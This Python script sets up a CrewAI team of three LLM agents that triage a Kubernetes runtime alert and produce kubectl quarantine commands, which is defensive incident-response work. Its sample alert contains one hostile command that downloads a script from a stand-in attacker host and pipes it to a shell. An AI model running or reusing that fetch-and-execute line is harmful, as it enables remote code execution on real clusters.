The Fine Print

from crewai import Agent, Task, Crew
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(model="gpt-4-turbo", temperature=0)
api_agent = Agent(
    role='Kubernetes API Specialist',
    goal='Extract pod metadata, service accounts, and network policies based on a pod name.',
    backstory='Deep expert in kubectl and Kubernetes cluster architecture.',
    verbose=True,
    llm=llm
)
forensics_agent = Agent(
    role='Container Forensics Analyst',
    goal='Analyze runtime alerts (e.g., Falco logs) to determine if a process execution is malicious.',
    backstory='Linux kernel and container escape expert.',
    verbose=True,
    llm=llm
)
k8s_lead = Agent(
    role='Kubernetes Security Commander',
    goal='Synthesize API and forensics data. If malicious, generate the kubectl commands to label the pod for network isolation and evict it.',
    backstory='Pragmatic platform owner who prioritizes cluster integrity.',
    verbose=True,
    llm=llm
)
runtime_alert = """
Alert: Unexpected shell spawned in container.
Pod: backend-api-7b89f44-x2yz
Namespace: production
Process: /bin/bash -c "curl http://attacker.com/script.sh | sh"
ServiceAccount: default
"""
api_task = Task(
    description=f'Analyze the risk of the context surrounding this pod (Namespace: production, ServiceAccount: default): {runtime_alert}',
    expected_output='Risk assessment of the pod environment.',
    agent=api_agent
)
forensics_task = Task(
    description=f'Analyze the specific process execution in the alert. Is this standard debugging or a malicious reverse shell/downloader?: {runtime_alert}',
    expected_output='Forensic determination of the process intent.',
    agent=forensics_agent
)
response_task = Task(
    description='Review the risk and forensic data. If deemed malicious, output the exact `kubectl` command to apply a "quarantine=true" label to the pod for isolation.',
    expected_output='Final incident verdict and kubectl remediation commands.',
    agent=k8s_lead,
    context=[api_task, forensics_task]
)
k8s_swarm = Crew(
    agents=[api_agent, forensics_agent, k8s_lead],
    tasks=[api_task, forensics_task, response_task]
)
if __name__ == "__main__":
    print("Initiating Kubernetes Runtime Swarm...")
    k8s_response = k8s_swarm.kickoff()
    print("\n--- K8s Incident Response ---\n")
    print(k8s_response)